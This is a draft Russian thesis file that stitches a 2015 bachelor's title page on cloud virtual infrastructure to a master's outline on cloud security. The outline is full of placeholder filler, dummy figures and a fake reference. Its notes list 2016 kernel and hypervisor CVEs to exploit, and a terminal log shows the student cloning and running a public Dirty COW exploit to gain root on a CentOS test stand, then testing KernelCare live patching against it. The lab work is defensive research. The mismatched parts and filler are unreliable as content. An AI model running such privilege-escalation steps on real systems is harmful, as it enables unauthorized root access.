Министерство образования и науки Российской Федерации
Федеральное государственное автономное образовательное учреждение высшего образования «Севастопольский государственный университет»

Институт информационных технологий и управления в технических системах
(полное название института)

Кафедра информационных технологий и компьютерных систем
(полное название кафедры)

Пояснительная записка

к выпускной работе бакалавра
(выпускной квалификационной работе, дипломному проекту (работе))

на тему: Разработка виртуальной инфраструктуры для реализации облачных услуг

Выполнил: студент 4 курса, группы ВТб-41д

направления подготовки (специальности) 09.03.01 – информатика и вычислительная техника
(шифр и название направления подготовки (специальности))

направленность/профиль/специализация 09.03.01.01 «ЭВМ, системы и сети»

Умеров Амет Ремзиевич
(фамилия, имя, отчество студента)

Руководитель Мащенко Е.Н., доцент
(фамилия, инициалы, ученая степень, звание, должность)

Дата допуска к защите «____»_____ 2015 г.

Зав. кафедрой _____ Брюховецкий А.А.
(подпись) (инициалы, фамилия)

2015 г.

МИНИСТЕРСТВО ОБРАЗОВАНИЯ И НАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ
Федеральное государственное автономное образовательное учреждение
высшего образования «Севастопольский государственный университет»

Институт информационных технологий и управления в технических системах
Кафедра информационных технологий и компьютерных систем
Направление подготовки (специальность) 09.03.01 «Информатика и вычислительная техника»
(код и название)
Направленность/профиль/специализация 09.03.01.01 «ЭВМ, системы и сети»

УТВЕРЖДАЮ

Заведующий кафедрой ИтиКС
А.А. Брюховецкий

“26” марта 2015 года

З А Д А Н И Е

на выпускную квалификационную работу бакалавра
(указать форму в соответствии с ФГОС, при наличии)
студенту Умерову Амету Ремзиевичу

1. Тема работы (проекта) Разработка виртуальной инфраструктуры для реализации облачных услуг
руководитель работы (проекта) Мащенко Елена Николаевна, канд.техн.наук, доцент
(фамилия, имя, отчество, степень, звание, должность)
Утверждены приказом высшего учебного заведения от “01” апреля 2015 года № 129-П

2. Срок подачи студентом работы (проекта) 15.06.2015 г.

3. Входные данные к работе (проекту) параметры клиентских контейнеров, параметры администрирования виртуальной инфраструктуры, параметры системы мониторинга и резервного копирования, перечень оказываемых облачных услуг; критерии качества обслуживания клиентов. Технологии виртуализации: OpenVZ, KVM. Критерии эффективности виртуальной инфраструктуры по производительности и надежности определены в соглашении об уровне обслуживания облачного провайдера.

4. Содержание расчетно-пояснительной записки (перечень вопросов, которые нужно разработать) Введение. 1. Постановка задачи. 2. Обзор современных методов и технологий серверной виртуализации. 3. Системный анализ виртуальной инфраструктуры 4. Описание виртуальной инфраструктуры. 5. Руководство администратора. 6. Руководство пользователя 7. Результаты тестирования. 8. Безопасность жизнедеятельности. Заключение. Библиографический список. Приложения.

5. Перечень графического материала (с точным указанием обязательных чертежей)
1.Постановка задачи (1 плакат)
2. Структурная схема виртуальной инфраструктуры (1 лист)
3. Схемы алгоритмов функционирования виртуальной инфраструктуры (2 листа)
4. Результаты тестирования виртуальной инфраструктуры (1 плакат)

6. Консультанты разделов работы (проекта)

Раздел	Фамилия, инициалы и должность консультанта	Подпись, дата	
		задание выдал	задание принял
Безопасность жизнедеятельности	ст.пр. Григорьев Е.Ф.		
Нормоконтроль	Доц. Корепанова Н.Л.		

7. Дата выдачи задания 26.03.2015 г.

КАЛЕНДАРНЫЙ ПЛАН

№ п/п	Название этапов работы (проекта)	Срок выполнения этапов работы (проекта)	Примечание
1	Анализ постановки задачи, системный анализ	30.03.2015 – 26.04.2015	
2	Разработка алгоритмов функционирования системы и основных подсистем	27.04.2015 – 10.05.2015	
3	Разработка виртуальной инфраструктуры	11.05.2015 – 31.05.2015	
4	Испытание виртуальной инфраструктуры	01.06.2015 – 07.06.2015	
5	Оформление пояснительной записки и чертежей	08.06.2015 – 14.06.2015	
6	Представление работы на кафедру	15.06.2015	
7	Защита работы в ГЭК	23.06.2015	

Студент _____ Умеров А.Р.
(подпись) (фамилия и инициалы)

Руководитель работы (проекта) _____ Мащенко Е.Н.
(подпись) (фамилия и инициалы)

АННОТАЦИЯ

В данной выпускной квалификационной работе магистра рассмотрены проблемы обеспечения безопасности облачных технологий. Для достижения поставленной цели был необходим детальный анализ мировых стандартов безопасности для облачных провайдеров, а также практический пентестинг облачных систем с целью эксплуатации наиболее опасных уязвимостей.

Тема выпускной квалификационной работы — «Исследование проблем безопасности облачных технологий».

Ключевые слова: безопасность, облачные вычисления, виртуализация, уязвимости, защита информации, стандартизация.

Актуальность темы.

—

Актуальность: облака везде, облака нужны всем, не только бизнес-клиентам, но и обычным людям.

Т.к. популярность облаков появилась сравнительно недавно и она стремительно развивается, не всегда успевают учесть все аспекты безопасности.

Также из-за того, что облако состоит из большого количества ПО на различных уровнях, нужно учитывать все уязвимости, так как они могут всплыть на каждом из уровней.

Мысли:

* клиенты слабо представляют насколько защищены облака, поэтому предпочитают частное облаков, взамен публичного, не доверяют провайдеру

* основные аспекты облаков: мониторинг, управление, безопасность, доступность

* если надо добавить часть по экономике - файл 124.pdf

* по поводу иаас, преимущества понятны, а вот минусы в том, что если получают доступ к хост-ноде, то все, также это может быть изнутри, например уязвимость на гипервизоре

* конкретные проблемы с табличками описаны тут 1608.08787v1.pdf

* файл cloud-security-study-report.pdf конкретный отчет сравнение использования облаков в 2016 году по сравнению с 2014

* в файле informatsionnaya-bezopasnost-pri-oblachnyh-vychisleniyah-problemy-i-perspektivy.pdf хорошо расписан вопрос по стандартизации облаков, также кратко написано про риски использования облаков

* тут тоже про стандарты psta2011-4-17-31.pdf

* в файле str50.pdf рассказывакется про проблемы в России, проблемы с точки зрения инф. безопасности

* реальные опросы от интела 2012г, которые рассказывают, что препятствуют уходу в облака, файл whats-holding-back-the-cloud-peer-research-report.pdf

* хорошая презентация Zegzhda-PD-supernova-2.pdf краткие тезисы, примеры картинок, модель безопасности даже есть

—

В данной выпускной квалификационной работе рассмотрены ...

Ключевые слова: 1, 2, 3, 4, 5.

Актуальность темы. Блаблабла.

Конечная цель проектирования тратата.

Выпускная квалификационная работа магистра изложена на 100500 листах, включает 1000 таблиц, 200 рисунков, 1 приложение, 19 литературных источников.

СОДЕРЖАНИЕ

ВВЕДЕНИЕ

Тут одна страница

1 ПОСТАНОВКА ЗАДАЧИ

Тут только 2 страницы текста

2 ОБЗОР ЛИТЕРАТУРНЫХ ИСТОЧНИКОВ ПО ТЕМАТИКЕ ИССЛЕДОВАНИЯ

* что такое облака

* сравнение облаков 2014/16 тут графики

* технологии облачных вычислений soa/asp/virt... тут картинки

* saas/paas/iaas тут картинка

* гибрдное/публ/прив облако тут картинка

* стандартизация nist... тут можно табличку

* облачные провайдеры тут табличка/картинка

* специфика облаков в России

* тенденции развития облаков в мире (зеленые цоды, уход в виртуализированные хранилища и сети) пример картинки какой-то

* кратко по безопасности, основные пункты, кем регламентируется, как обеспечивается

Тут 10-20 страниц, без подпунктов, сплошной текст с картиночками, в общем теория.

* конкретный упор на безопасность уже в описании работы

3 СИСТЕМНЫЙ АНАЛИЗ

Тут немного вводного текста.

Потом идет 9 подпунктов.

Все это добро примерно на 10 страниц.

4 ВАРИАНТНЫЙ АНАЛИЗ

Тут вводный текст общий.

Затем идет около 7 подпунктов, в некоторых из этих подпунктов еще есть подпункты.

Много табличек и формул, похоже придется допиливать шаблон под формулы.

Это все примерно на 20 (OMG) страниц.

5 ОПИСАНИЕ РАБОТЫ, ПОКА ХЗ ЧТО ТУТ

Пока я только знаю что тут примерно 20 страниц должно быть. Тут само исследование работы.

Все это должно быть с подпунктами.

почему именно linux и эти платформы? нужно собрать статистику использования дистрибутивов на серверах, а также платформ виртуализации возможно конкретно по россии эту цифру найти?

Уязвимости 2016, это нужно эксплуатировать

* Linux kernel, CentOS/RHEL/buntu/Debian Dirty COW

* Виртуализация: KVM/Xen/LXC/OpenVZ/Virtuozzo/VMWare/Hyper-V

* Протоколы: NTP/SSL/TLS/HTTP2 DROWN/POODLE/HEARTBLEED TCP overflow libc GHOST

* mysql cve-2016-3477

чтобы не ребутаться использовать kernelcare/kpatch, постоянно мониторинг уязвимостей

использовать lts дистрибутивы для поддержки софта

пример уязвимостей по kvm: http://www.cvedetails.com/

ntp - только на винде позволяет устроить ддос

есть drown до этого еще poodle и heartbleed, это все уязвимости openssl, после этого появился libressl - она сложна в реализации http://www.opennet.ru/opennews/art.shtml?num=43971

нашумевшие еще это ghost, shellshock, CVE-2016-6663 (mysql) — конкретно

+ Linux kernel DIrty COW: CVE-2016-5195 http://www.opennet.ru/opennews/art.shtml?num=45354 получить рута можно

+ Xen CVE-2016-6258 http://www.opennet.ru/opennews/art.shtml?num=44855 выполнение произвольного кода на хост-ноде

+ TCP CVE-2016-5696 http://www.opennet.ru/opennews/art.shtml?num=44945 возможность обрыва tcp-соединения и подстановки данных в трафик

- glibc CVE-2015-7547 http://opennet.ru/opennews/art.shtml?num=43886 ее вряд ли можно эксплуатировать

+ xen CVE-2016-3710 http://www.opennet.ru/opennews/art.shtml?num=44409 работает только в hvm, выполнение кода на хост-ноде из гостевой

+ linux kernel CVE-2016-8655 http://www.opennet.ru/opennews/art.shtml?num=4 тут возможно выйти за пределы lxc скорее всего

—

Тестовый стенд для всего этого. лучше конечно это был бы дедик, но на крайняк kvm + nestedV

если все это можно эксплуатировать, то что делать?

* мониторинг

* если это что-то ядерное, то надо ребутать, так не пойдет, нужны патчи налету

* использование встроенных механизмов защиты selinux/apparmor

если связать это с опенсорсом, то

1. все источники уязвимостей из открытых данных

2. эксплуатация уязвимостей тоже осуществляется с помощью свободного ПО

3. если это мониторинг, то скорее всего он тоже опенсорсный, но надо поискать если ли коммерческие альтернативы

Поискать скрипты, которые могут по открытым базам чекать уязвимости. Эту возможность можно запихнуть в мониторинг.

Дальше. Обзор наших провайдеров. Какие требования к ним предъявляются и как они их выполняют. Тут надо собрать стату по популярным облачным ребятам, почитать SLA и триальную услугу попробовать.

Если же речь идет не только об уязвимостях, но например еще о ддос, то тут помимо очевидного варианта атаки на инфраструктуру может быть, что в облаке клиента может быть зараза и это исходящий ддос. Это надо тоже как-то мониторить, решать это можно либо заблокировав клиента, либо если это легитимный трафик, то что-то делать с сетью.

Также в безопасность входят бекапы, фейловеры, все что соответствует SLA. Тут возможно сделать что-то с SDN и SDS, надо почитать.

```
ETO CHISTIJ ISO CENTOS 7.2

[root@master ~]# cat /etc/redhat-release
CentOS Linux release 7.2.1511 (Core)
[root@master ~]# uname -r
3.10.0-327.el7.x86_64
[root@master ~]# su dcow
[dcow@master ~]$ id
uid=1000(dcow) gid=1000(dcow) groups=1000(dcow) context=
   unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[dcow@master ~]$ git clone https://github.com/gbonacini/CVE
   -2016-5195.git
[dcow@master ~]$ cd CVE-2016-5195/
[dcow@master CVE-2016-5195]$ make
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
[dcow@master CVE-2016-5195]$ ./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)
[dcow@master CVE-2016-5195]$ su root
Password:
[root@master ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:
   unconfined_r:unconfined_t:s0-s0:c0.c1023


[root@master ~]# rpm -i http://patches.kernelcare.com/kernelcare-
   latest.el6.x86_64.rpm
[root@master ~]# /usr/bin/kcarectl --info
kpatch-state: patch is applied
kpatch-for: Linux version 3.10.0-327.el7.x86_64 (builder@kbuilder.
   dev.centos.org) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (
   GCC) ) #1 SMP Thu Nov 19 22:10:57 UTC 2015
kpatch-build-time: Mon Nov  7 17:08:08 2016
```

```
kpatch—description: 20;3.10.0—327.36.3.el7.x86_64
[root@master ~]# /usr/bin/kcarectl --update
Kernel is safe
[root@master ~]# /usr/bin/kcarectl --uname
3.10.0—327.36.3.el7.x86_64
[root@master ~]# /usr/bin/kcarectl --patch—info  | grep CVE
   —2016—5195 —A3 —B3
kpatch—name: 3.10.0/0001—mm—remove—gup_flags—FOLL_WRITE—games—from—
   __get_user—327.patch
kpatch—description: mm: remove gup_flags FOLL_WRITE games from
   __get_user_pages()
kpatch—kernel: >kernel—3.10.0—327.36.2.el7
kpatch—cve: CVE—2016—5195
kpatch—cvss: 6.9
kpatch—cve—url: https://access.redhat.com/security/cve/cve
   —2016—5195
kpatch—patch—url: https://git.kernel.org/linus/19
   be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

[root@master ~]# uname —r
3.10.0—327.el7.x86_64


PROVEROCHKA
[dcow@master CVE—2016—5195]$ ./dcow
Running ...
NE RABOTAET

4$/YEAR ZA 1 LICENZIUY

OTKLUYCHAEM
[root@master ~]# /usr/bin/kcarectl --unload
Updates already downloaded
KernelCare protection disabled, kernel might not be safe
[root@master ~]# su — dcow
Last login: Wed Dec  7 17:18:42 MSK 2016 on pts/0
[dcow@master ~]$ cd CVE—2016—5195/
```

```
[dcow@master CVE—2016—5195]$ ./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :—)
```

6 АНАЛИЗ ПОЛУЧЕННЫХ РЕЗУЛЬТАТОВ

Тут подводим итог работы.

2 страницы выходит

ЗАКЛЮЧЕНИЕ

Тут все понятно.

1 страница

ПЕРЕЧЕНЬ СОКРАЩЕНИЙ И УСЛОВНЫХ ОБОЗНАЧЕНИЙ

Это глоссарий

1 страница

БИБЛИОГРАФИЧЕСКИЙ СПИСОК

1. Тут где-то 2-3 страницы [Электронный ресурс] // Россия URL: http://ya.ru (дата обращения: 01.01.2000)

СПИСОК ИЛЛЮСТРАТИВНОГО МАТЕРИАЛА

Картинки

1 страница

ПРИЛОЖЕНИЕ А

НАЗВАНИЕ ПРИЛОЖЕНИЯ 1

Тут какой-нибудь текст или код или картинки

ПРИЛОЖЕНИЕ Б

НАЗВАНИЕ ПРИЛОЖЕНИЯ 2

Тут второе приложение например